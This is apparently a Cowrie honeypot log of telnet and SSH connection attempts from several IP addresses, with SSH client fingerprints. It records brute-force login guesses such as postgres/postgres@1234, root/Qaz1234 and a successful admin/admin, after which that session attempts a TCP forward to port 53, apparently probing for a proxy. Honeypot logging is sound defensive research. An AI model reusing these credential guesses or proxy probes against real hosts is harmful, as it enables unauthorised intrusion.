{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43734,"dst_ip":"159.203.135.109","dst_port":23,"session":"546a7b724d7a","protocol":"telnet","message":"New connection: 174.138.46.234:43734 (159.203.135.109:23) [session: 546a7b724d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:12.876107Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43426,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1c96101af8","protocol":"telnet","message":"New connection: 174.138.46.234:43426 (159.203.135.109:23) [session: 5d1c96101af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:12.918508Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":47814,"dst_ip":"159.203.135.109","dst_port":23,"session":"90cdfa755204","protocol":"telnet","message":"New connection: 103.52.146.122:47814 (159.203.135.109:23) [session: 90cdfa755204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:13.543500Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43752,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f4f2e7df8cb","protocol":"telnet","message":"New connection: 174.138.46.234:43752 (159.203.135.109:23) [session: 6f4f2e7df8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:13.966486Z"}
{"eventid":"cowrie.session.closed","duration":31.613499641418457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:14.115210Z","src_ip":"103.52.146.122","session":"2d87629988b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.945209264755249,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:18.911563Z","src_ip":"174.138.46.234","session":"6f4f2e7df8cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.7462499141693115,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:20.664647Z","src_ip":"174.138.46.234","session":"5d1c96101af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86328673362732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:23.140752Z","src_ip":"103.52.146.122","session":"125e506c6777","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378090858459473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:27.604704Z","src_ip":"103.52.146.122","session":"2d7b4231b968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":60406,"dst_ip":"159.203.135.109","dst_port":23,"session":"6755311917c8","protocol":"telnet","message":"New connection: 103.52.146.122:60406 (159.203.135.109:23) [session: 6755311917c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:29.628705Z"}
{"eventid":"cowrie.session.closed","duration":38.942129611968994,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:30.102631Z","src_ip":"103.52.146.122","session":"9793997969ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":36242,"dst_ip":"159.203.135.109","dst_port":23,"session":"6baa7da7f609","protocol":"telnet","message":"New connection: 103.52.146.122:36242 (159.203.135.109:23) [session: 6baa7da7f609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:35.412391Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":37956,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3b5e0a5830","protocol":"telnet","message":"New connection: 103.52.146.122:37956 (159.203.135.109:23) [session: 5f3b5e0a5830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:36.670678Z"}
{"eventid":"cowrie.session.closed","duration":30.308885097503662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:37.768827Z","src_ip":"103.52.146.122","session":"83ef96d5dd83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":39654,"dst_ip":"159.203.135.109","dst_port":23,"session":"b59e056fa76a","protocol":"telnet","message":"New connection: 103.52.146.122:39654 (159.203.135.109:23) [session: b59e056fa76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:38.699611Z"}
{"eventid":"cowrie.session.closed","duration":30.355334997177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:38.825035Z","src_ip":"103.52.146.122","session":"40a5e497e1be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":35568,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b5cfe4ec229","protocol":"telnet","message":"New connection: 217.182.190.44:35568 (10.17.0.5:23) [session: 8b5cfe4ec229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:39.826760Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"a504d7e0ef55","protocol":"telnet","message":"New connection: 103.52.146.122:41790 (159.203.135.109:23) [session: a504d7e0ef55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:41.522798Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":42954,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e6fe2893be","protocol":"telnet","message":"New connection: 103.52.146.122:42954 (159.203.135.109:23) [session: d5e6fe2893be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:43.014000Z"}
{"eventid":"cowrie.session.closed","duration":31.281262397766113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:44.824460Z","src_ip":"103.52.146.122","session":"90cdfa755204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":58104,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a758fd9ac5c","protocol":"ssh","message":"New connection: 103.248.120.6:58104 (10.17.0.5:22) [session: 1a758fd9ac5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:45.547791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:45.552544Z","src_ip":"103.248.120.6","session":"1a758fd9ac5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:45.775615Z","src_ip":"103.248.120.6","session":"1a758fd9ac5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@1234","message":"login attempt [postgres/postgres@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:46.695592Z","src_ip":"103.248.120.6","session":"1a758fd9ac5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:47.924994Z","src_ip":"103.248.120.6","session":"1a758fd9ac5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":55462,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f7785451d79","protocol":"ssh","message":"New connection: 103.69.96.120:55462 (159.203.135.109:22) [session: 5f7785451d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:49.652214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:49.656788Z","src_ip":"103.69.96.120","session":"5f7785451d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:49.913565Z","src_ip":"103.69.96.120","session":"5f7785451d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz1234","message":"login attempt [root/Qaz1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:50.960918Z","src_ip":"103.69.96.120","session":"5f7785451d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:52.217821Z","src_ip":"103.69.96.120","session":"5f7785451d79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":51362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede83078bf34","protocol":"telnet","message":"New connection: 103.52.146.122:51362 (159.203.135.109:23) [session: ede83078bf34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:53.069738Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"3622e0ea3951","protocol":"telnet","message":"New connection: 103.52.146.122:51598 (159.203.135.109:23) [session: 3622e0ea3951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:54.360810Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":53094,"dst_ip":"159.203.135.109","dst_port":23,"session":"7557ec1b13a1","protocol":"telnet","message":"New connection: 103.52.146.122:53094 (159.203.135.109:23) [session: 7557ec1b13a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:03:55.389371Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":57478,"dst_ip":"159.203.135.109","dst_port":23,"session":"01a221a99811","protocol":"telnet","message":"New connection: 103.52.146.122:57478 (159.203.135.109:23) [session: 01a221a99811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:01.470599Z"}
{"eventid":"cowrie.session.closed","duration":32.34776782989502,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:01.976376Z","src_ip":"103.52.146.122","session":"6755311917c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.13475847244263,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:04.010752Z","src_ip":"174.138.46.234","session":"546a7b724d7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":59874,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce834397ec80","protocol":"telnet","message":"New connection: 103.52.146.122:59874 (159.203.135.109:23) [session: ce834397ec80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:04.616420Z"}
{"eventid":"cowrie.session.closed","duration":30.86407446861267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:06.276348Z","src_ip":"103.52.146.122","session":"6baa7da7f609","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31384253501892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:07.984393Z","src_ip":"103.52.146.122","session":"5f3b5e0a5830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4015371799469,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:10.100810Z","src_ip":"103.52.146.122","session":"b59e056fa76a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":35662,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb86cfdf74b","protocol":"telnet","message":"New connection: 103.52.146.122:35662 (159.203.135.109:23) [session: 5bb86cfdf74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:13.040034Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":35732,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabdd6fc5851","protocol":"telnet","message":"New connection: 103.52.146.122:35732 (159.203.135.109:23) [session: aabdd6fc5851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:13.121869Z"}
{"eventid":"cowrie.session.closed","duration":31.746569633483887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:13.269262Z","src_ip":"103.52.146.122","session":"a504d7e0ef55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56906723976135,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:13.395731Z","src_ip":"217.182.190.44","session":"8b5cfe4ec229","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":38964,"dst_ip":"159.203.135.109","dst_port":23,"session":"657bab807c2e","protocol":"telnet","message":"New connection: 103.52.146.122:38964 (159.203.135.109:23) [session: 657bab807c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:13.737350Z"}
{"eventid":"cowrie.session.closed","duration":30.740416765213013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:13.754206Z","src_ip":"103.52.146.122","session":"d5e6fe2893be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35456,"dst_ip":"159.203.135.109","dst_port":23,"session":"30f9d9f08075","protocol":"telnet","message":"New connection: 174.138.46.234:35456 (159.203.135.109:23) [session: 30f9d9f08075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:18.581088Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35558,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fc1841e3a20","protocol":"telnet","message":"New connection: 174.138.46.234:35558 (159.203.135.109:23) [session: 7fc1841e3a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:18.956707Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35512,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be0ea704995","protocol":"telnet","message":"New connection: 174.138.46.234:35512 (159.203.135.109:23) [session: 5be0ea704995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:19.784249Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"21036680d4ab","protocol":"telnet","message":"New connection: 174.138.46.234:35840 (159.203.135.109:23) [session: 21036680d4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:20.016869Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":44098,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7479a78afd9","protocol":"telnet","message":"New connection: 103.52.146.122:44098 (159.203.135.109:23) [session: c7479a78afd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:20.271446Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.146.122","src_port":44188,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffafbd919362","protocol":"telnet","message":"New connection: 103.52.146.122:44188 (159.203.135.109:23) [session: ffafbd919362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:20.411769Z"}
{"eventid":"cowrie.session.closed","duration":5.69629168510437,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:24.277244Z","src_ip":"174.138.46.234","session":"30f9d9f08075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21417260169983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:24.283786Z","src_ip":"103.52.146.122","session":"ede83078bf34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279348611831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:25.640070Z","src_ip":"103.52.146.122","session":"3622e0ea3951","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590684413909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:25.979949Z","src_ip":"103.52.146.122","session":"7557ec1b13a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.4971911907196045,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:26.281204Z","src_ip":"174.138.46.234","session":"5be0ea704995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.745625972747803,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:26.702204Z","src_ip":"174.138.46.234","session":"7fc1841e3a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.68146538734436,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:27.698186Z","src_ip":"174.138.46.234","session":"21036680d4ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50628,"dst_ip":"10.17.0.5","dst_port":22,"session":"79944fd9d337","protocol":"ssh","message":"New connection: 87.251.64.176:50628 (10.17.0.5:22) [session: 79944fd9d337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:28.819918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:28.825424Z","src_ip":"87.251.64.176","session":"79944fd9d337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:28.924047Z","src_ip":"87.251.64.176","session":"79944fd9d337","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:29.214932Z","src_ip":"87.251.64.176","session":"79944fd9d337","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:29.314192Z","session":"79944fd9d337","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:29.412926Z","src_ip":"87.251.64.176","session":"79944fd9d337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:04:29.650177Z","src_ip":"87.251.64.176","session":"79944fd9d337","protocol":"ssh"}
